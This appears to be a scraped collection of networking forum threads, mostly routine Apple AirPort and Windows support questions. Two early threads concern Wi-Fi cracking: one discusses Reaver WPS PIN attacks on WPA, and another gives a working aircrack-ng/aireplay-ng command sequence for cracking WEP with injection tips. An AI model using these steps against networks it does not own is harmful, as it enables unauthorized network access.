Preventing How to Crack a Wi-Fi Network's WPA Password with Reaver

Hello,
Are Cisco AP's vulnerable?
http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver
Is their a new IOS available to handle this?

You are partly right here George. Granted, Reaver 'only' cracks WPS PINs, but once it has done so you are 'given' the WPA/WPA2 PSK. In a round about way you are ultimately getting your goal, the WPA/WPA2 PSK.
A Reaver attack tutorial/demonstration using the OG150 is now available to download for free! WPA2 PSK WAS CRACKED IN 4 SECONDS!! Download the PDF tutorial from http://www.og150.com/tutorials.php.
Attack was demonstrated on a Linksys WAG54G2 router with v1.00.10 software.
Thanks

How do I prevent other Mac users from changing my Airport Extreme Network Name and Password within the Airport Utility?

How do I prevent other Mac users from changing my Airport Extreme Network Name and Password within the Airport Utility? My company is using an Airport Extreme in our office now and I want to prevent other employees from messing with the network/settings. Is there a way to place a password on the settings to allow only the admin to access the network name and password?

Hi - you have will have to change the device passwords on all the base stations and then don't give them to anyone except the administrators and tell them not to save them on their computers that use the older versions of the Airport Utility - for the newer versions like the mobile apps, as soon as you enter the pasword it is saved and is visible in the advanced pane along with the network password - so if anyone gets a hold of your iPad or iPhone, they can edit the whole network - I have this same issue with my networks in the office and it is inconvenient but doable - I hope this helps

[SOLVED] Unable to crack my own WEP network

For a long time I've been trying to do that (crack my 64 bit WEP wi-fi) but have given up because of various problems. For example I have the "Fixed channel -1" problem when aireplay-ing. But yesterday i decided that i could ignore that and just use airodump + aircrack + wget-ing a file .
So the commands i issued before i went to bed were:
airodump-ng --bssid <MACofAP> --channel 8 -w /tmp/overNight mon0 //on root terminal
while true; do wget <file> -O /dev/null; done
sleep 2h; aircrack /tmp/overNight-01.cap //on root terminal
sleep 4h; aircrack -K /tmp/overNight-01.cap //on root terminal
And so on the morning I found tthe PTW method failing with segmentation error.
The Korek one was just continuing testing keys... The night before I tried to eliminate each method alone using "aircrack -K /tmp/overNight-01.cap -k 1..17" with no success either. Worth noting is that I'm using "rtl8192se" driver.
> lspci | grep -i wireless
03:00.0 Network controller: Realtek Semiconductor Co., Ltd. RTL8191SEvB Wireless LAN Controller (rev 10)
Today I tried backtrack 5. Needed to download and compile the same driver manually, all other related failed to work. I had a segmentation fault again with PTW and got no success with aireplay-ng other that when i issued -1 0 attack I saw a lot of different MACs in airodump. No "Channel -1" as far as i saw but still even the test -9 fails 0/30.
But really, the strangest is how I can't crack the pass with over 1,5 million IVs ! No idea how to proceed now, would be awesome if someone has one

Did it! There was one slight thing i missed that caused me to trip on Step 3 of the tutorial - WIFI card has MAC address too. Always entered eth0 mac address on -h... The thing got me running was a post where i read "Wireless mac adress". :
Cracking WEP more quickly:
airodump-ng mon0
airodump-ng -w wep -c [channel] --bssid [bssid number] mon0
open new console
aireplay-ng -1 6000 -a [bssid] -e [router name] -h [my wireless mac] 5 -o 1 -q 10 mon0
open new console
aireplay-ng -2 -b [bssid] -h [my wireless mac] -c FF:FF:FF:FF:FF:FF -p 0841 mon0
Crack:
open new console (4 terminals open now) Data needs to hit about 30,000 from first terminal window
Type dir
aircrack-ng [filename].cap
After following the steps provided i cracked the easy pass of my wep network in ~2 minutes with about 40k data. Thank you for helping me, these compat-wireless drivers really proved to matter. Still don't understand why i can't passively capture and crack without them but Ill have to accept it needs them. Awesome, for a long time this has been my goal ^^ Thank you again

are u sure IVs arent for WEP? this output came from aircrack, asking me which network when i havent specified...
PS2: gotta add one thing - doing "/etc/rc.d/networkmanager stop" is mandatory. otherwise aireplay wont inject. also the "-o 1 -q 10" options of the second step seem to do nothing, can do fine without em. On the other hand "-p 0841" on the third step is a must, dont inject any data without it. It seems to work with only that value as far as i see, which is very strange cuz its not mentioned almost anywhere in guides.
PS3: updated that guide i followed for better usage: http://pastebin.com/0nPabSJC
PS4: with "aireplay -3" its even easier, even intuitive. In the man page it says its more reliable but it seems to me its a bit slower in the data injecting process. But i guess the benefit is that you never use your ip (i know i can change for the other method too). At least its so easy, just turn it on and wait for some1 to use the net. Saves one terminal
PS5: after checking again, turns out that sometimes i can't aireplay -1 without "-o 1 -q 10".

Did you try Parental Controls?

See if that does the trick: I think there's a way for you to request a password for purchases, but still be logged in.

How do i create a little network with my i-mac and macbook

how do i create a little network with my i-mac and macbook

Hello:
To give a sensible answer, a little more information is needed.
I am guessing that you want to set up a wireless network as you have both a desktop and laptop.
There are some pretty good tutorials/articles in the knowledge base articles.

When I try to buy or update an app on my ipad, a window comes up asking me for a password using SOMEONE ELSE'S apple ID which prevents me from buying the app. How can I get my ipad toprompt for a password using my own apple ID, like it does w/ itunes

When I try to buy or update apps, myipad asks me for a password using SOMEONE ELSE'S apple ID, which prevents me from buying/updating apps. But when I am buying songs on itunes, the ipad asks me for my password using MY OWN apple ID and everything works fine. HOW DO I GET MY IPAD TO REQUEST MY PASSWORD USING MY OWN apple ID WHEN I AM BUYING OR UPDATING APPS?

The apps you are trying to update were purchased with (and therfore permanently linked to) someone elses Apple ID. If you do not know the password then you need to delete the app and redownload/purchase it with your Apple ID.

How to connect non-Apple wireless networks?

Hello
Before I start, I know very little about networking, so could do with some assistance please!
In my office, I have a MacPro, fitted with an airport extreme. I also have a TL-WR1043ND Wireless N Gigabit Router, which I have connected to a ReadyNas NV+.
In my house, I use my MacBook Pro connected wirelessly. The internet is accessed via a TP-Link TD-W8961ND 300Mbps Wireless N ADSL2+ Modem Router.
Both the MacPro and the MacBook Pro connect to the internet cia the TD-W8961ND. The TL-WR1043ND resides on a separate wireless network. The idea is that I can access and store data wirelessly using the ReadyNas (which incidentally has become an issue since upgrading to Lion).
The NAS needs to be kept in my office so it is secure and there is no direct telephone link to the office.
Cutting a long story short, I'd like to make the two networks into one, so I was wondering if I could use the TL-WR1043ND as some sort of wireless access point (connected to the NAS) and joining it to the wireless network of the W8961 ADSL2 router.
I don't know how to do this, so was wondering if somebody could help and perhaps guide me through some of the settings? I've searched the interweb abyss, without any joy.
All the best
Hoffmeister

As you can imagine, this forum is primarily for assistance with Apple networking so it may be a bit difficult to really be able to provide you with a step-by-step on how to configure both of these routers for Wireless Distribution System (WDS).
I did a bit of research and found the following TP-Link Support article that describes how to do this with a pair of their TD-W8960N routers and it may be worth reviewing to see if it can help you with yours.

How to block one of wireless network

Hi there,
I have Airport Extreme with 2 wireless networks, one for my iMac and my wife’s iPad another one is for kids PCs. All of us are connected only wireless.
Question, how shall I block the kids network my configuration, now when I block the Airport (Turn Off Airport) actually it’s only me who cannot use wireless network, all others still can do it. Purpose is to block the kids using the wireless network during the night. Now my solution is to pull out lan cable between Airport and ADSL modem.
I believe there must be smarter way to do it, I just don’t know how. Could you please help,
thanks

Hello!
Your Extreme can set time restrictions on when specific computers can access the network. You can configure them using AirPort Utility:
Open AirPort Utility, select your Extreme in the sidebar, and press "Manual Setup." If you're asked for a password, enter it. Go to the "Access Control" tab and set "MAC Address Access Control" to "Timed Access."
Now you can set up the time restrictions.
To add a computer to the list, press the "+" button. You'll be presented with a dialog that will let you configure the time restrictions. You'll need to enter the device's MAC address. You'll also want to enter a description so that you'll know what device the restriction applies to.
You can double-click the "(default)" entry to set restrictions on computers not on your list. When you're finished, press "Update" and allow your Extreme to restart.

Can I use my airport to see how many devices are on my network?

Can I use my airport to see how many devices are on my network?

No, that info was removed from the airport utility at v6 toyland edition.
The last real utility was 5.6.1 and although it is not actually supposed to work on AC model it does sometimes.
But you can generally see what is on your network using the netstat command in the computer..
Open the network utility and go to the netstat page and run scan.. this can take a few minutes.. and should show all the clients as well as the router/s. At least all the ones the computer can see.
The network utility is under utilized as people seem to not know of it.
There are iOS tools like this as well. Sorry but I don't remember the name/s.

How to delete the photos in network folder while deleting photos in iPhoto?

Hi,
How to delete the photos in network folder while deleting photos in iPhoto?
I have emptied the iPhoto Trash but the photos in network folder are still not deleted.
In iPhoto Preferences, Advance, Importing, I have UNCHECKED "Copy Items to iPhoto Library."
http://img.photobucket.com/albums/v432/philipcs/Screenshot2009-10-26at120221AM.p ng
Please help. Thanks.

iPhoto is a relational database management program and manages only items that it controls - items within its library - it does not and will not do anything with any photo that is not in the library except to delete photos from cameras after import - and this is not recommended
You are running a referenced library and it is not recommended - it makes deleting photos more difficult as you are seeing, it makes importing photos more difficult and it makes replacing or upgrading hardware much more difficult

How can I delete the guest network from my airport. It was fine until the last update. It says my whole name's guest network which I do not want everyone seeing. There is no guest network setting in my airport utility.

How can I delete the guest network from my airport. It was not showing up until I recently upgraded the airport. It now says my name's guest network and I don't like my name showing on the available network list! I am using a Verizon wireless modem with the wireless feature off.

Open AirPort Utility, go to the Wireless tab and remove the check from the guest network check box.

How can I delete a wireless network from my MacBoork Ai

How can I delete a wireless network from my MacBoork Air.
I had set up a WEP Network but I need to set up a WPA (personal) network now and i cant seem to change the WEP network to a WPA2 network.
Thank you for any help you can provide me.
LShaps

The MacBook Air will autodetect WEP and WPA security changes and should allow you to reconnect again. If the password stored in the Mac is wrong, it will ask you to enter it again.
With that said, to forget a network do the following:
- Go to the Apple Menu and select System Preferences
- Click on the Network icon
- Highlight the Airport / WiFi entry (sepending on 10.6 vs 10.7)
- Click the Advanced button at the bottom
- Make sue the Airport / WiFi tab is selected
- Click on the network name you want to forget
- Press the minus button at the bottom of the list.
You may also want to consider restarting if you are having this issue.

IPhone 3G: How to stop from joining unknown networks

When I first got my iPhone I got to work and a wi-fi network named "Guest" popped up. Being new to things, I clicked on it. Of course nothing worked. I went to a web page and a page popped up asking for a password. I have no idea what the password is, and it's not available to the general public.
That night, I went home and hooked up to my personal wireless LAN, and the wi-fi works great.
Problem: If I leave wi-fi on, when I leave the house, the iPhone switches to 3G. As soon as I get to work, the phone connects to the "Guest" network and nothing works. I have to then turn off wi-fi to get things working.
Question: How do I deselect this "Guest" network so my phone doesn't automatically try to connect to it. I don't mind it asking me, but it no longer asks since I selected it on time. I still want my home network to auto connect without asking, but not this work network.
Hope someone can help. Thanks.

Tap the small blue arrow next to "Guest"
There's a big button at the very top that says "Forget this network"

How to restrict users working on Windows 7 clients from accessing Windows Explorer and other systems in the network through Group Policy with a domain controller running on Windows Server 2008 r2

Dear All,
We are having an infrastructure setup of around 500 client computers managed through group policy.
Recently the domain controllers have been migrated from Windows Server 2003 to Server 2008 R2.
Since this account requires extremely strict environment, we need to figure the solution for restricting the users from access anything locally.
It would be great if you can assist me with the following query.
How to restrict users logged on Windows 7 clients from accessing Windows Explorer and browsing other systems in the network through Group Policy with a domain controller running on Windows Server 2008 r2 ?
Can we disable Network Tab on the left hand pane ?
explorer.exe is blocked already, but users are able to enter the Windows Explorer by clicking on the name which is visible on the Start Menu.

You cannot block explorer.exe when you do not replace the shell - the
desktop you see effectively IS explorer.exe...
Your requirement sounds like you need a custom shell:

Network, security, ftp... How to approach writing file to network from LV?

Sorry, but I don't know if this is more a LabVIEW question or a networking or ftp quesiton - how do I approach this need?
We have a machine programmed in LabVIEW and we need it to write a text file of process run data to a folder on our network. I thought we were going to be able to see the folder as mapped to a drive on the PC that is running LV. That is, I thought we'd be able to have LV create a file called Q:\Data\ThursdayAM.txt and write into it.
But the IT folks are telling me we can't do this because of security issues, something about what account the LV computer is running under. They have set something up so that Internet Explorer (not Windows Explorer) can navigate to the folder (with dialog boxes that ask for username and password), and they think they may be able to set up something using ftp. So, while a person standing there at the PC would be able to gain access to the folder, it wouldn't feel like accessing a disk drive feels.
How can LabVIEW programmatically write a file under such circumstances? LV can't interact with Internet Explorer like a user, and type passwords into a dialog, can it? I see things in the help system about ftp but am not experienced with it and don't know whether to start down that path; for one thing I haven't found anything about authenticating to a network under program control with ftp.
If there is a LabVIEW-centric approach to things like this, please point me in the right direction! Or, if this is really more a question about networking and security, please give me some tips about what to ask the IT group, as I'm not very up on networking.
Thanks!!

Thanks, all.
As far as things like browser controls on the Front Panel, I think that would be solving the wrong problem. I don't want users of the machine to be able to browse folders or in any other way feel like they are using Internet Explorer. From my user's point of view, the machine will say "Your data are now available at Q:\Data\ThursdayTest.txt", and they will leave, and return to their own desktop machine, and will go grab the file and use it with whatever tools they would use to grab and read any text file on the fileserver. I think I want to programmatically get the file written to the correct folder, and am trying to understand how to do that, but the way I do it will never be visible to users. So, maybe there is something to do here, but not exactly browser controls.
I will find out if I have the toolkits mentioned - thanks for pointing me at that.
What they have me do with Internet Explorer to gain access to network folders is as follows: I'm already logged into the PC as a Windows user with a general purpose Guest account, and no password, and from the point of view of our network without any security credentials. I start Internet Explorer, and type an IP address 123.123.123.123 into the address bar. I get a dialog asking me for my username and password, and I enter the username and password that I would use for my desktop w/ network access or any of the other PCs on which I am already configured as a user. Now Internet Explorer shows folders for the different network locations that the network thinks I personally have rights to, and I can read, write, copy, paste, open and so forth. When I quit Internet Explorer this PC goes back to looking to me like a PC without any network features.
The purpose of network access for this system has also been a bit confusing, but there are two main points. The big and, perhaps, only necessary thing is that my LV program can write files to a network folder, however it is that this works. It's one of the goals of this entire project to start giving users the ability to get their data without burning CDs or other sneakernet methods. As a secondary point, while I am programming and otherwise maintaining this system, I am backing up my VIs to the network, and passing things like manual docs from web sites in to the system computer for reference (its subnet does not allow internet access so I'm using my desktop machine to grab manuals and put them in the network folder), and miscellaneous other things like that. I'll probably copy this conversation into a text file when I think I have something to try, as another example. But these things are secondary conveniences - the only thing that is strictly necessary is the ability of my LV program to push data files into a network folder.
